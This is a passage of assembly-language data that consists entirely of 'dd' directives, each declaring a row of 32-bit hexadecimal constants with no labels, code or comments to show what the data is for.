		dd 0BC21B165h, 77C0BBEFh, 9E4A1513h, 68932DD6h,	0D9C7FBB4h
		dd 46A392C6h, 0D05304A1h, 0FB7C0A51h, 9A2E27AEh, 798F2D45h
		dd 0F1279A40h, 96007B75h, 0BE855349h, 75B2750Dh, 0DCCF56D7h
		dd 0C4714Bh, 2AA47103h,	0CE432CE6h, 0FFF941F5h,	5573C697h
		dd 18EDEA56h, 0E4CC3E92h, 0E119768Bh, 6305EE61h, 1EE04369h
		dd 0E23339FCh, 4C0F7580h, 0D1FC0E40h, 0FF2832D6h, 21D61A7Fh
		dd 9E976944h, 0F36B5967h, 0ED5C6F66h, 0B62A8BAh, 64C79D45h
		dd 0CB9A8369h, 1A22E10Eh, 9DED217h, 6BEC0A4Dh, 6A716A72h
		dd 0C05B488Dh, 0BACCD3D8h, 2DF41810h, 80F3F95Ch, 780FD125h
		dd 0F2FCC216h, 0F5EC964h, 6E389802h, 553BA9F7h,	0A8D21287h
		dd 3E6B8680h, 0CFDCAD5Ah, 0AF2C7AA1h, 85E84DDEh, 0ACAEAEBBh
		dd 0A7FA5C19h, 8B694CE8h, 9F988FF6h, 86FD0AF5h,	7EB8A30Bh
		dd 0D65B1D93h, 4ECE172Fh, 0BD3FB1A9h, 872C1EA6h, 704A80AAh
		dd 0DC08008Fh, 0B5C01CA2h, 7294F955h, 9657D9BDh, 149B6CE0h
		dd 6DF32B3h, 0B86D528Eh, 0CB2CE2E0h, 0B97BACCh,	315D1858h
		dd 87C99E1Bh, 6222BCFAh, 0A041B83Ch, 1CE8371Ch,	3911CDC9h
		dd 0D7FC1D77h, 39EC1FB2h, 0A0CA3C32h, 98B895A6h, 471E140Eh
		dd 0CD7268A9h, 0AF30EC78h, 55C3F48Ch, 0E14934E9h, 594D01Fh
		dd 8AE3B662h, 0D10BE33Dh, 0A88D5B7Bh, 28634D57h, 3A8A6F4Fh
		dd 0CD23B801h, 3AFAB80Dh, 1C029C98h, 0F81F4883h, 0A545C8CBh
		dd 0E32B6869h, 0F27EB118h, 59DA3A19h, 0C23453A5h, 0F861E30Ch
		dd 0B5C3232Dh, 0EC0983ABh, 3ED4F56Bh, 64CFE27Ch, 0BDA18CC9h
		dd 5FE8970Dh, 86BE59AAh, 5BA3C524h, 62C581BDh, 0D7CC0EDCh
		dd 9D93D185h, 159A1938h, 25DAF627h, 0E30EF1FFh,	0DF147FA4h
		dd 59FBF560h, 61E71C8Bh, 0A7355F5Eh, 733C68Eh, 969451F5h
		dd 7AE6D6ECh, 0C216F95h, 0DB1437E5h, 0F8AF5BE8h, 5AD5A727h
		dd 5C145262h, 0CB791618h, 7630F1C5h, 0F93EC7D8h, 843F996Bh
		dd 185974C8h, 81F604B0h, 620D8A41h, 5C333B0Fh, 0F79EF096h
		dd 116A11DCh, 0A2E31CBAh, 99DE141Ah, 85A0564Dh,	3D5D345h
		dd 6684D75Dh, 0A612F355h, 188DE6CAh, 44D3BC0Ch,	0E25EBCB5h
		dd 0FD78CEF8h, 37B11303h, 3A047778h, 835447D8h,	5EED0F2Bh
		dd 10891F9Fh, 8197B398h, 0D2AC6BBBh, 45BEEC13h,	0C17D9D68h
		dd 66CBF31Eh, 0EFFAB5FBh, 0DD026B55h, 90F4F8D6h, 980B435Dh
		dd 0FDABDF6Fh, 0A26D5415h, 135EE2C1h, 38B76AD4h, 69785FD0h
		dd 0BA1A2322h, 0BDBAA2AFh, 0C4B2255Eh, 47630CD6h, 0D54E0B0Eh
		dd 1E474CFBh, 410FB2F7h, 6BC8EFA2h, 0A06A6DF9h,	80111BA7h
		dd 5107F4C1h, 254C0F7Ch, 5C6E0E65h, 0AD0B3BE7h,	8B6FC7DEh
		dd 0CBFD543Bh, 9B61428Dh, 0AF71CB8h, 3A3A421Ch,	8C45330Ch
		dd 19C9F6E8h, 0B7366260h, 25A94512h, 8E75A2DBh,	0CE8408DEh
		dd 803453CDh, 0C803125Eh, 0E2C56876h, 289444F7h, 8D3B3B6Bh
		dd 0A994B8ADh, 44C5CDD3h, 82251AE1h, 5D3CC0A7h,	0C1461C4Eh
		dd 82F6CECDh, 98D73869h, 1964C3ACh, 0FE371918h,	303CA097h
		dd 40E5023Eh, 0FA07A21h, 2284F34Eh, 9D4380A0h, 22B80922h
		dd 0F686F394h, 0EAC3CBDBh, 714AA3Dh, 0CE900C1Eh, 0B0A12ECFh
		dd 0F9CE79DDh, 0B373BF9Bh, 5BD194D8h, 0F7B997FCh, 282DB3C0h
		dd 7CEB2583h, 786B13B9h, 0BD438EBFh, 7D2F7754h,	3F8E4295h
		dd 420E268Fh, 0A39C307Eh, 0FF369BD5h, 12B34EFEh, 26CDFC4h
		dd 0DF149834h, 37127038h, 0B28545AFh, 246BCC45h, 1D6EB92Bh
		dd 0D1B870BBh, 88E52E37h, 0E735D349h, 13C9843h,	0D08B5997h
		dd 0C3BDFB8Dh, 0D24A1629h, 201E820Fh, 0AEC16500h, 7F0AB2AAh
		dd 0F5DF879Ch, 5590D11Ch, 0A71DD5E2h, 84AFA266h, 6EF51CBFh
		dd 5DCF586Dh, 575D5F2Ch, 430AEA51h, 83FC88BEh, 90018B16h
		dd 4BE455EDh, 0A8AA5BAh, 133355FEh, 96EEDE4Bh, 5207A134h
		dd 10E14385h, 0BB4B8DAAh, 7998D0EAh, 0F7E5C117h, 2C8FE8D4h
		dd 2C24C9BEh, 7E1F19F7h, 0C98B282Bh, 4C8179C8h,	0FD3E551Dh
		dd 176E3460h, 4755F1BBh, 0F7C0A737h, 938BC70Fh,	0BA797208h
		dd 0F263FBB1h, 0D76E69FCh, 6E9FC092h, 0CF2D7418h, 0B4F6C194h
		dd 0C7FF7FCh, 237F0814h, 0FAF875B7h, 5F6820E1h,	28DABAE6h
		dd 2BBE6B2h, 6B1D5988h,	0B7610E3Bh, 800B8E9h, 9617A06Ch
		dd 423DA1F7h, 20FF6198h, 939F0304h, 660713A1h, 8CA2F0D9h
		dd 15B98864h, 2F670F48h, 7023DF59h, 9969AC9Bh, 0AA3C3AADh
		dd 642AF631h, 65FE1513h, 0BC6B728Eh, 0A6A563E3h, 0B917327Bh
		dd 0ECA2D302h, 183A5C29h, 3A44F12Eh, 7A810DEEh,	78B3D412h
		dd 76116AF2h, 0F48BDF6h, 3883643Dh, 0EC2CA9h, 1917FC97h
		dd 85E53A8Bh, 22FD941Dh, 9D9852ACh, 0B418E68Eh,	0AD7EF9BDh
		dd 0FB416880h, 6CB680A0h, 0FBCC9D14h, 0D8BBD81Fh, 0D804CAC9h
		dd 7619F943h, 9E150C54h, 0ABCC45CCh, 0FCB8DCCFh, 95A4DC76h
		dd 0F476884h, 0E83595B8h, 0E71E1ED5h, 0C98B35A7h, 0C21A20D9h
		dd 45BD2C99h, 0A8C8B5BEh, 4400349Eh, 169EC621h,	51B97C7Bh
		dd 5C4725Bh, 2988358Bh,	0E5F7C3A4h, 81BA8D3Ch, 0C1ED3881h
		dd 395587BBh, 50F735D7h, 8E74F3BBh, 0F0392A3h, 0DEB0B2Ah
		dd 0AE6BFE81h, 3EA827FBh, 7DAAD160h, 64A96C3Eh,	5FAEC6EAh
		dd 73E11C5h, 8EE6582Ah,	0B3385CC7h, 81FE51CBh, 3C93308h
		dd 0A2AA59D3h, 3A46CDABh, 0FB1A3F5Dh, 86E3276Ch, 0C7DE5C68h
		dd 7AE1E88Ch, 6CF76F50h, 5406F9F5h, 0C8C63B4Dh,	532FAB98h
		dd 59E1FAB7h, 226ED17Dh, 0ADC378DBh, 0DF2F2F17h, 0E794865Ch
		dd 8F6C477Ah, 2ACFED77h, 5296F744h, 5174029Ah, 46DB6A7Dh
		dd 0F557012h, 7D6D2CBDh, 0DA05136Ch, 0C5AB3013h, 0A0D25FCEh
		dd 62A219CCh, 55FE8039h, 0E0DE5F00h, 0CD52DCE5h, 0F3FAA9F8h
		dd 0B4413F1h, 8E0054BEh, 0DC09AC97h, 0A598C5F8h, 0C6D072F5h
		dd 0EBF0E6DFh, 0DD4BDF57h, 8AB2D9E1h, 0ACA194Eh, 6D97978Dh
		dd 0C280C6A9h, 7EA01376h, 32558F29h, 279E3F6Dh,	0CD8A551Fh
		dd 0CB72F91Ch, 9ABFAC08h, 0F37CA99h, 278404F9h,	6D476118h
		dd 4C332DB5h, 0A4DCD3BDh, 0DB14F319h, 605DA5B3h, 8A9658E7h
		dd 40F72ADBh, 9931CE8h,	601912CAh, 85950548h, 2B609D54h
		dd 0BF05E363h, 2EC83ED0h, 0F662E2A1h, 977191h, 0D4E8FFBAh
		dd 0F7B688A5h, 0EF16B621h, 719E827Dh, 0A1586E5Ch, 2CE59EAEh
		dd 19FB7B04h, 74599C2h,	4F0B1692h, 8EE03EE8h, 0E2DDF26Bh
		dd 3E32294Dh, 0ABA71035h, 0BE6F2490h, 0CC2EBFA1h, 606ED32Fh
		dd 2DF439B2h, 2904C45Bh, 0C075D4EEh, 0D43973F4h, 9959D3DCh
		dd 0CF23C880h, 0ABD44507h, 4D453DD8h, 0D59E9FC0h, 0BA44A7CEh
		dd 51BBFBCDh, 988E1A4Dh, 33CAA92h, 4A110A91h, 0D0E07CC3h
		dd 0FE1109FFh, 0BBA6CC19h, 0BE183A14h, 2C66C6EFh, 0E1DEF8D7h
		dd 71F5C7F1h, 2634DC7Bh, 367E8216h, 952A9B3Bh, 5D1D9FDFh
		dd 368E860Ch, 1A2F8F53h, 2DD2D66Eh, 8F66C18h, 4576B1D8h
		dd 7A7B5CD0h, 7D613217h, 405E98E5h, 0FBECC510h,	5BB910CAh
		dd 98E7F291h, 6A1DAC3Fh, 8CC44304h, 9E1B1D38h, 7852CBB9h
		dd 1C619F1Ah, 9B58229Fh, 9377C6A5h, 0C05CB118h,	0C06AA011h
		dd 0BD6E8EFAh, 57BA23D2h, 2CD6F4FFh, 3303531h, 5DA01A4h
		dd 0FC4BF132h, 898744BEh, 0F8BE6B31h, 0EFC0A610h, 9BBE82A6h
		dd 0BAEBDDE6h, 0A937F9FAh, 282C4389h, 41165F5h,	84B99FF2h
		dd 0DE86886Dh, 0B9F2C57Dh, 8ED0D172h, 229617E3h, 0CDE70A59h
		dd 0B622D0F8h, 0C3E730Ah
		dd 6300CF41h, 0C11BCF1Ah, 0ED6FC452h, 0D4911582h, 1E11FBDDh
		dd 91D9A7C8h, 0E92E3070h, 0D7111AC5h, 99277FB1h, 2BF56CB8h
		dd 0EE7C0AC2h, 19754997h, 3925B402h, 59E7CEB8h,	8439AA6Eh
		dd 6379AC64h, 69D2ABE6h, 3A0FDEA6h, 83F93B8h, 71DBB015h
		dd 2101FF81h, 0E9739015h, 166574FDh, 0DFB8F38Dh, 62A9CFADh
		dd 9763475Fh, 4DD9406Ch, 3EC64C7Ah, 0CDAFD40Eh,	1E05C930h
		dd 59244751h, 0E7F733B7h, 0F6615353h, 7C1A6EFDh, 0A393B0F8h
		dd 1609011Dh, 1DB03AAh,	0ACDE9D90h, 0B72D27D5h,	0E36C52E6h
		dd 0B9184C77h, 10769BCBh, 0B1135FFDh, 0C1C1AB36h, 2D60CA09h
		dd 88AF4F5Bh, 6C72DDF7h, 29C8668h, 0EBB50327h, 0DB8867B0h
		dd 0EE83A6EFh, 6542AB5Ch, 0B06955EEh, 4C72B8E7h, 462403AFh
		dd 80F22F9Bh, 0D369E9EBh, 1F44D411h, 0CA90E1E6h, 0DE4254D8h
		dd 0CFE21FA9h, 0FD308FEFh, 1C86237h, 442D35B2h,	4274E5FEh
		dd 0CDC7B64Fh, 0ADEDB968h, 25E0CE24h, 224AC5BEh, 8B15D75Fh
		dd 0BA24250Ah, 3DD2D8F4h, 0D4921B21h, 7F5026C8h, 200CDCA3h
		dd 7CE6F792h, 0B45218A2h, 6BFF704h, 84887001h, 0F59E9F98h
		dd 0F42BF569h, 0CD360B9Fh, 0C7EB8DE6h, 34317361h, 1B5C22D2h
		dd 0DD47274Ah, 0A00F7C9Eh, 0A1D369D9h, 0DBA60861h, 429108BAh
		dd 1A64AF5Eh, 0D3770E28h, 0B6870B80h, 8D1072AFh, 0B7AFF4F6h
		dd 0CA5603BEh, 0CE825E09h, 0DFBDD217h, 4B1427D3h, 4CFF6833h
		dd 2D287FEFh, 21FA392Fh, 0CBC5E912h, 0C95EABD9h, 0EBD1C89Ch
		dd 0A0CE07D8h, 0A40650C4h, 7CB0861Dh, 72EBDD7h,	0A1AE96F2h
		dd 0E9F09FC4h, 0DFBBB4B4h, 9D3F831Fh, 0E96A10EFh, 34B97FAAh
		dd 8D776C8Ch, 5C5E9CC0h, 8E72B8BBh, 91FB11BEh, 92146080h
		dd 0C2EAC27Bh, 29C8BB0Bh, 938796E2h, 0EDB19963h, 5DDB0A87h
		dd 0D0C03150h, 4819749Dh, 2F3BEBF7h, 0A614F27Dh, 97F4A245h
		dd 64E4BF7Fh, 7505D802h, 0BBFBE1ABh, 6ABAC20Bh,	0BCA42F49h
		dd 6302018h, 0DAD00CA2h, 0F2E5F5EBh, 0BD24A9A2h, 13284E0Fh
		dd 39A0A068h, 0F5608A4Dh, 0C790C372h, 863C3276h, 0F68520C0h
		dd 0A154C242h, 0EC4383C9h, 240BF71Bh, 893678EBh, 97FF5DC0h
		dd 691B4F2Dh, 0A772B26h, 0ED2EABD9h, 1FC20B1h, 0D80F78EBh
		dd 5AA0E937h, 2231BAD8h, 0A0B6115Dh, 59CA7ABCh,	15E3397Eh
		dd 2F91BA08h, 0F4A76E95h, 0E6363C0Dh, 0F66C7DBh, 65A5BFCh
		dd 9643C4DEh, 958663C3h, 66EF441Bh, 0AA3592Ah, 5611DB87h
		dd 0AB500E45h, 0C7FE54B7h, 0CFE7857h, 0CD53C1A8h, 858B3FADh
		dd 527E4F18h, 3E864ACDh, 0CA1FDB51h, 31109B0Eh,	0F8D70A56h
		dd 73799B11h, 651F5DAh,	35ACC714h, 0E1149E47h, 34B86B92h
		dd 52858396h, 86C1D02Ch, 5626A9BAh, 0FD4948ECh,	964E42FDh
		dd 0C376F0CEh, 92118B5Ch, 6EB0A92Ch, 9A95BB96h,	152431FAh
		dd 3771ABC4h, 51DAF308h, 5AE75DE5h, 2F8ACA17h, 5218DB76h
		dd 1F60ED0Ch, 0A3E91977h, 7EB031BBh, 36F1EB78h,	746AC7CAh
		dd 0EB948297h, 0B23E9FD4h, 67E3B5D3h, 0CE967B58h, 4A195784h
		dd 14CB050Ch, 17D9702Dh, 27B2200Eh, 0FE36B1CAh,	0EF679333h
		dd 17C209Dh, 427139A5h,	0D4924341h, 0E4EB2DCCh,	0B39BE14Ah
		dd 7B3FF982h, 0B7BD6715h, 0F4950B26h, 2AF9E603h, 0E1263FFCh
		dd 0FC916365h, 1F183338h, 0EDE3B22Fh, 11AC425Fh, 0EA3CE9FAh
		dd 454486A7h, 7C484DC9h, 0A0C6B5D5h, 0F25E77B7h, 0E2AD373Ch
		dd 0E041D8D6h, 8131A295h, 9416CF47h, 43845A4Ch,	0F4ECA9Ah
		dd 61560E3Ch, 70C17Dh, 0F5B255EAh, 7A93514Bh, 62FC07D1h
		dd 0F4832E95h, 58FA468Bh, 0B29B792Ah, 0B0DD64B0h, 0F6AD9FA6h
		dd 78AE091Eh, 0F2C9A73Ah, 9D7DF74Fh, 5C24F054h,	23F354BDh
		dd 1B0BCEEBh, 38BD0B3Ch, 594100BEh, 2D68D9Eh, 0E5389814h
		dd 12D750A9h, 1F13201Eh, 8E2FF5F5h, 16598A2Ch, 0D1D5383Ah
		dd 677ABE96h, 7E706753h, 0E9D15940h, 0B971B1EDh, 0C9E3135Bh
		dd 0A811D954h, 94A6AFCDh, 0D798A4C7h, 780286Eh,	0A251ED9Fh
		dd 42B5FF63h, 146AF96Fh, 4AA5E2D3h, 0FE32F153h,	101C3CAh
		dd 0C8522D7Dh, 0C83C2C80h, 0DAAB55Eh, 1D8BA6D3h, 470C4B54h
		dd 0B2777570h, 56C9E198h, 778387E9h, 155F75Eh, 0B365BA0Bh
		dd 5F138A56h, 7F274D48h, 0FC535568h, 667DF29Bh,	15D32E85h
		dd 41EFAEF4h, 0C7932930h, 1ED88552h, 39EB07A5h,	0B3F984ECh
		dd 0ED634A37h, 0C460AAB8h, 294305D8h, 2008AC82h, 446DFD89h
		dd 5124E9F5h, 0A59863F1h, 1D6FE61Dh, 0C76FAEF8h, 79130185h
		dd 9D6823B1h, 0ED55F780h, 662B7B2Bh, 23D36B4Dh,	0B9079A3Bh
		dd 0CEBA4185h, 6D6D8A29h, 2A6E0712h, 816134B1h,	0AC34521Ah
		dd 9B9A960Eh, 16FE1A0Bh, 29D31A6Ah, 64E388E7h, 0FDE2CC1h
		dd 626987F5h, 39725438h, 47B436DFh, 20677DCFh, 0FB698E3Ch
		dd 0EB9BB7FFh, 0A8E9ACB1h, 4329E0BBh, 0A6EECB0Dh, 0D7231E48h
		dd 4897781h, 0DD335D7Bh, 0DBDDD5A7h, 6B69F11h, 0C1CAB076h
		dd 8FF28112h, 7F42CE0Eh, 0EBCEA54Bh, 70F4BD76h,	59BBB044h
		dd 92CB3EFEh, 89BBB55h,	76168535h, 0C7CD9707h, 0BE127519h
		dd 0AB4A73CDh, 2334D8BCh, 5362616Fh, 5B61F73Ah,	654122FAh
		dd 0E9EFCA57h, 22613CCFh, 0C6286BEBh, 0D43DAA95h, 44D157E8h
		dd 49F6DBDDh, 8473C36Dh, 57124A82h, 8EE47A01h, 3EDB4EABh
		dd 47CAF935h, 0A3A00B4Eh, 0C33545E8h, 7C011E49h, 6135057Dh
		dd 49941ED4h, 0F5A0AB01h, 3CE2468Ah, 65ADAD5Ah,	0EDEAA31h
		dd 30A32114h, 4B20476Fh, 0DB1DD372h, 0B7DAF4A0h, 2EEA8E02h
		dd 122461F0h, 0AA1F7E53h, 676C2BB3h, 0D361A36Dh, 9FA8786h
		dd 35E1B2B9h, 6484C6B6h, 0B3981044h, 0BAFFCBC0h, 5FDA00DFh
		dd 2F68C865h, 0CE44F751h, 410B3B42h, 0A39B71CDh, 29642DA4h
		dd 0A05907A7h, 0C50423D2h, 35C0C70Dh, 0F8C24B2Eh, 0C9F1E7C5h
		dd 0AF3B93A1h, 0D7B32921h, 0FCC48088h, 530A36C0h, 137AF24h
		dd 68B53224h, 706FB306h, 510735A3h, 0EC719CB3h,	0D5466166h
		dd 0B6EBBDBh, 4409B907h, 0F027A86Ah, 4E108722h,	39240527h
		dd 1C6D2F96h, 0DC01C9E1h, 4C40042Ah, 0AECBE481h, 0BF38F702h
		dd 6E50495h, 0E56917F4h, 0F2793E96h, 0FD65E90Bh, 0A4B853A2h
		dd 0A924AA51h, 0C49C162Ch, 0F440B5B4h, 0BCD55E0h, 83774272h
		dd 0DC05BE9Eh, 7909B13Eh, 0BD4D0D40h, 9DA5378Fh, 0B54D27D4h
		dd 25DA4222h, 9BE118Dh,	0EA396EB6h, 0A9EE6A27h,	91198B29h
		dd 33A6F77Bh, 3E303478h, 0FF48A8B0h, 14E8D7A7h,	444ACD74h
		dd 44335C3Dh, 82AF5E15h, 0B3041CBCh, 21425B12h,	3C079FFAh
		dd 3E952E8Eh, 28D9ED4Dh, 0B066C199h, 0E414828h,	0C1CB5A35h
		dd 896A5301h, 12357376h, 0E8E0B90Bh, 7CE29A5Fh,	0BEA99027h
		dd 36F8AFF3h, 0F6EB95D5h, 79353613h, 0DBC096E7h, 96580C38h
		dd 0EC05B19Eh, 0FE111A45h, 0BCA18C2Dh, 3F288748h, 402B9542h
		dd 980A4F27h, 6AAC953Ch, 0AD19413Ah, 6CA27E4h, 0A2DDD0A0h
		dd 98C14080h, 7252CA35h, 0D6B8A719h, 3D6D6597h,	0D6B710FEh
		dd 7B6D2F01h, 45B1F71Ah, 67296C6Fh, 55C22884h, 1980EB1Bh
		dd 572455D2h, 0D9610D86h, 0EE666968h, 0B2072A5h, 9FDC9288h
		dd 8F6A5AF7h, 7DC5A038h, 0E00B6DC5h, 0C09B54C4h, 5D179FF1h
		dd 732D19CCh, 0FEFAE732h, 3768E81h, 5E169D61h, 22D3BCBh
		dd 0A5B30853h, 3A2E7421h, 0A677CC16h, 588A95ACh, 0D14BCA84h
		dd 0E9DAE4A1h, 2CE3D0D7h, 0C8DE1B2Ch, 5278AA0Fh, 2C43B370h
		dd 0FBAE03EAh, 2013CA0Ah
		dd 5EF2607Fh, 86CE2DDBh, 25C16C01h, 0AA9A27CDh,	0B8FC6752h
		dd 0D06AF71Dh, 28273780h, 0A33F85EFh, 0DA98D230h, 0C90BF847h
		dd 8E3CCD62h, 0C1EBE05Eh, 2CF28D5Ah, 19E34C5Fh,	0A72816FEh
		dd 0C62901F1h, 505E7CD3h, 9D1EC152h, 0E932CCE3h, 936CB9A6h
		dd 886A03F1h, 920F1786h, 0FBDE927Ch, 0FB4B8A29h, 51EE239Ch
		dd 68F88B17h, 6C23E5CFh, 0AB7017D8h, 0A517C149h, 46C452A2h
		dd 0BACE9BEDh, 0AD0DB2BDh, 0C6AABF75h, 4B3B7103h, 68CAF440h
		dd 0E8CA6A47h, 482D561h, 51D86418h, 0F8817836h,	8AFDA95Ah
		dd 0FACB5064h, 9D2298CAh, 0BBBF33B1h, 69CA07D0h, 0D0143252h
		dd 0E5BC0125h, 929F4099h, 10FD5EF3h, 14603026h,	0DC8A12E8h
		dd 0EF3DB9F5h, 0CF0FABC8h, 4C44337Bh, 49DF7252h, 66CE92D4h
		dd 0A1CC6DDEh, 164E63F1h, 9CE8BC1Dh, 0B1408CB1h, 0F74B7A34h
		dd 8455DD19h, 6DE10432h, 3CB841Fh, 0D7C7342Ah, 0E1722B2h
		dd 0D1D907D9h, 51AD5B5Eh, 7922A07Ch, 68C65832h,	4C49492Ch
		dd 1231D117h, 0C65641E9h, 7BA2D310h, 27BB25CEh,	5C0E0CCEh
		dd 7755CDA7h, 0A5E42BB8h, 834957C2h, 3BB40D3Dh,	8591706Dh
		dd 9BC7D8C9h, 0A6D2AEF4h, 0B9D7449Eh, 0DC5758B6h, 63E28E51h
		dd 0B8D419D3h, 0C5E89998h, 2343B4E9h, 5A15BE19h, 0EF4A9760h
		dd 0D5E93801h, 95F24CBDh, 0DB7A90FFh, 867C0EDFh, 620FA106h
		dd 0CA6707D4h, 0F822127Fh, 0C689378Fh, 0D080C59Ch, 85430418h
		dd 0EC9D7AD5h, 14AF630Fh, 0B784A57Bh, 0B87F88D3h, 195DC88Bh
		dd 0BEEAC0A0h, 0E3B6E26h, 6AEB300h, 0F01AD518h,	0E410D09Dh
		dd 66F57969h, 0E4709655h, 0FC024D6Fh, 0D235537Ah, 542C113Ah
		dd 0C67527Ch, 1EE532FBh, 29FBE544h, 0F34DEEBFh,	93D5CB54h
		dd 0C511B094h, 203DC953h, 9373F768h, 56BCD280h,	0DF4A1AFDh
		dd 48BEEA99h, 73609DCBh, 174A7CD2h, 34FE141Bh, 0C8DAFAFBh
		dd 6DDA1BC3h, 0DC4F70ECh, 7B8DDFC7h, 0DFCFE7F2h, 0F45B44FAh
		dd 0F20618E7h, 15D56DE8h, 0B7810830h, 372B9AC4h, 63C9B8EFh
		dd 0C18446DAh, 6414714Ch, 4FAFA42h, 4CDBCE79h, 8B06B79Fh
		dd 86993B67h, 74E80424h, 0B83FEB29h, 497E1990h,	0C1F26A5Dh
		dd 2E662CC3h, 43425F27h, 654AB1AFh, 58A6BCD3h, 20EADF94h
		dd 1E69FDABh, 6541012Ch, 83F1C7FFh, 3FEE118Bh, 0DA751368h
		dd 0EDA9A539h, 8D3CC010h, 0D0F897A7h, 0CDD8C252h, 0EC01C8EAh
		dd 47C70B48h, 9AF198A5h, 6CE9034Bh, 0BE07DC46h,	142EEE63h
		dd 9BA01557h, 2AEACC7Ch, 4E24EF62h, 7BCF21CEh, 0ED3B2BF3h
		dd 71FA2795h, 9512C62Bh, 33DE37FBh, 0C54D67C7h,	0DD2F213h
		dd 0B82C4F16h, 593ED38Bh, 4C9A3ABEh, 13710B7Ch,	46FD2977h
		dd 66627F76h, 7046B65Ah, 4BEA344Ch, 2FCD44CAh, 930ED2EFh
		dd 0EAEED869h, 106BDBA1h, 0A0DEACC3h, 52492FAh,	2FFFAF0Dh
		dd 49FA4C17h, 0F7F4E419h, 0DA0FABA4h, 85087717h, 4A3CBC4Dh
		dd 0D7EF2F68h, 6DE85F35h, 0EEEF6EF8h, 0EBC99AA3h, 5ABC3128h
		dd 3F7A684Bh, 8E8045C1h, 0B86445A2h, 8CF6E7B5h,	2BA4EAACh
		dd 0AC4014CFh, 33E71748h, 4424709Ch, 0E7B4C2B9h, 6B2DDDF2h
		dd 0BE0FDE72h, 99748673h, 6D4FB7CAh, 464D2DDEh,	0D7A94333h
		dd 82F9FBADh, 1B35717Ch, 4358435Ch, 6C6A171Dh, 0BBCD2019h
		dd 88CEE625h, 53FF4ACAh, 939002A1h, 91FF9A3Fh, 0FE8C416Eh
		dd 0EB850068h, 0F580088Eh, 15FFFF07h, 186CECABh, 0F80EE8C0h
		dd 909D68EAh, 315574B0h, 0F45CAE16h, 0EADCAE64h, 2FF878F5h
		dd 0BC2613CBh, 8669AE24h, 0F1A3AE79h, 517A2395h, 8583281Fh
		dd 0C6F50472h, 412CC43Dh, 890DACF0h, 0C90C7FBAh, 93DD3737h
		dd 6315693Eh, 850E2F8h,	0F6BF7E5Ch, 24B0290Eh, 43CEA072h
		dd 23638603h, 65A62E4h,	0F2A53773h, 314A00BCh, 0B96B063Ch
		dd 0AEFC9171h, 20D4BFA4h, 966C9810h, 6CB042D0h,	103EFB36h
		dd 68BFAF5Fh, 136FBF6Ch, 0BDBAAB09h, 83B43C19h,	54202FECh
		dd 0CEE963E4h, 3DBA45DEh, 74379F90h, 87649CFAh,	0A443338Ah
		dd 1485C8CFh, 68A2CE31h, 5986B03h, 0A4ADBB62h, 7E96EE98h
		dd 9F6DCC2Bh, 5DAD38EDh, 0C1D23013h, 0D2D6F571h, 4A0C09F4h
		dd 8BA61D9Fh, 0C5BC40ADh, 610B007Fh, 125363FAh,	1AF8E93Fh
		dd 0C810BE5Eh, 0AD46DE59h, 0F53F92C3h, 0DC78776Ch, 924C9BF7h
		dd 39462EEh, 0AB6C3E27h, 0AA75E3ADh, 2DA144D6h,	736248FFh
		dd 0D57FE6D2h, 836F5125h, 7ABAFA73h, 0A0D88F7Bh, 22BF6082h
		dd 623459D9h, 22ECD9C9h, 971CBF20h, 0B0CC2B29h,	67D27B45h
		dd 0EF785B67h, 28CAAC33h, 2E759CA5h, 4C35E542h,	0F2B45F4Ch
		dd 0AFBE45B7h, 0D4E95EC7h, 6C69C2D6h, 0AC0C2AF0h, 1310CF9Ah
		dd 7F0E71Fh, 0DB1AC55Ch, 6E7C6943h, 0E217E178h,	0C641D501h
		dd 25F97CE1h, 5679DA9Ch, 0EACC186Fh, 8806AAD4h,	5095C11Bh
		dd 0D2C69C9Ch, 0C23BDC1Fh, 54BB16FDh, 0C2E27060h, 0B2DB18E4h
		dd 0C5F12405h, 27178209h, 0B6237028h, 1F3559E0h, 0AB6340F8h
		dd 0D7307F8Eh, 0EB918BFEh, 7EC7DD3h, 2D3EC18h, 5B724A4Eh
		dd 0CFAB8C5Fh, 0A91148C0h, 0E27D74AAh, 7DCBFA0Dh, 0C3668EECh
		dd 0DC3CE02h, 910DE8E7h, 0ECE431C2h, 9B9E1BE4h,	0E917CE17h
		dd 0A7E141DEh, 0A78C40BDh, 8EA88EBCh, 0B1E0F28Eh, 6435BFACh
		dd 9DAAE72Ch, 0B505CA15h, 269D2DD5h, 54092172h,	91D49196h
		dd 0F8DB0F11h, 0FDEEFC2Ch, 45202B6Fh, 0DD06AB61h, 0E88D65C4h
		dd 0C30BC64Fh, 4EBB1F39h, 0F6089CADh, 45BDC330h, 0FD0EE2EDh
		dd 7F858148h, 910A1862h, 8E36184Dh, 0BAA2321Bh,	0C64899E4h
		dd 62E4C54Eh, 0E60F0230h, 0E0427414h, 31B345E5h, 58B488A1h
		dd 0E660A672h, 0A7CB6BE4h, 0D3EF14BBh, 58799C78h, 0F12E5F9Ah
		dd 0F44ACC63h, 5CCE35C5h, 9BC2D115h, 13C689D9h,	4BD1D54Fh
		dd 18F40A11h, 0E3646346h, 9FC8E5D9h, 4C1F240Ch,	83A79F22h
		dd 37E26589h, 0C493A4F2h, 99A77F8Ah, 9039CF92h,	7D4721B4h
		dd 0EE424DB4h, 97B60B0Eh, 0DE4735B5h, 0BE97C85Dh, 7025F0C3h
		dd 50B13727h, 0C220E2D2h, 4B7F4920h, 2116D429h,	0F97F4074h
		dd 0AC21D679h, 83246867h, 0B0302B5Eh, 0E732EEEAh, 1A692325h
		dd 972885Dh, 0D11ADC07h, 5CF3697Ah, 117FF8F5h, 9A7D06BDh
		dd 9932CBBFh, 0D9E2AA98h, 5A41F4B1h, 0A1C8BD6Dh, 36A50A3Eh
		dd 0A106DC76h, 0DA6A9486h, 0B275D695h, 0D3CA81CAh, 16409E74h
		dd 0D9F0D29Bh, 49F9928Ah, 0EA52669Eh, 5600B5EDh, 0F24B68D4h
		dd 0A6AA6429h, 0C3C5E337h, 33D97BDFh, 0C9A8DC6Ch, 63408AA0h
		dd 22DEF645h, 5135B5B6h, 8AD37EEFh, 4559B5D9h, 1273A7CEh
		dd 6EDD0987h, 4C3972DCh, 10C11AFEh, 85E94CA4h, 0EAB51EBFh
		dd 0A2F215CFh, 6BB4BE04h, 0F8F036C0h, 4BBF8FC7h, 0B71EF983h
		dd 2A79F7FCh, 5CBC429Dh, 16FDD164h, 0CB093084h,	0A8171D2Eh
		dd 13742FF9h, 0E05BD73Fh, 51FBBB1Ch, 61383036h,	401A6391h
		dd 0F8337CAAh, 83D6AF49h, 74F2E616h, 0A1CA12F6h, 11FBF751h
		dd 6AAF345Ch, 366D9C44h, 73180EC4h, 4F13189Dh, 0AF1719CFh
